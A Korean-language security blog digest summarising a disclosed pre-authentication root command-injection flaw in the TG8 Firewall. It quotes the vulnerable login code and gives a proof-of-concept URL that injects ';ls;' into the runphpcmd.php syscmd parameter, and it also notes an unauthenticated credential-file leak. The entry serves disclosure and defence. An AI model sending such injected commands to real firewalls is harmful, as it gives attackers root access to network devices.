[하루한줄] TG8 Firewall의 PreAuth 원격 코드실행 취약점
URL
SSD Advisory – TG8 Firewall PreAuth RCE and Password Disclosure
Target
- TG8 Firewall
Explain
TG8 Security 사의 방화벽에서 인증되지 않은 root 권한의 원격 코드 실행 취약점이 발견되어 세부 정보가 공개되었습니다.
취약점은 인증 요청을 처리하는 index.php
에 존재하며 아래와 같습니다.
...
function checkLogin() {
var username = $('input[name=u]').val();
var pass = $('input[name=p]').val();
var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
$.ajax({
url: "runphpcmd.php",
type: "post",
dataType: "json",
cache: "false",
data: {
syscmd: cmd
},
success: function (x) {
if (x == 'OK') {
ok(username);
} else {
failed();
}
},
error: function () {
ok(username);
// alert("failure to excute the command");
}
})
}
...
인증 요청을 받으면 로그인을 처리하는 check_gui_login.sh
에 username
과 pass
를 매개변수로 명령을 구성합니다. 이는 runphpcmd.php
의 syscmd
로 전달되고 root 권한으로 check_gui_login.sh
가 실행됩니다. 그러나 syscmd
에 대한 어떠한 검사도 존재하지 않아 해커가 임의의 코드를 포함한 syscmd
를 매개변수로 runphpcmd.php
에 직접 요청하면 원격 코드 실행이 트리거 됩니다.
root 권한으로 ls
명령어를 실행하는 PoC는 다음과 같습니다.
http://<server>/admin/runphpcmd.php?syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bls%3B++local
제보자는 해당 취약점 외에도 액세스 권한 설정 미흡으로 인해 인증되지 않은 사용자가 /data/
디렉터리의 자격 증명 파일에 접근할 수 있는 정보유출 취약점 또한 발견했습니다.
이를 해당 방화벽 장비의 공급 업체인 TG8에게 SNS 및 이메일을 통해 여러 차례 제보하였으나 공급 업체로부터 어떠한 응답도 받지 못했다고 밝혔으며, 해당 장비를 사용하고 있다면 즉시 외부 인터넷으로 통하는 포트를 차단할 것을 강력하게 권고했습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.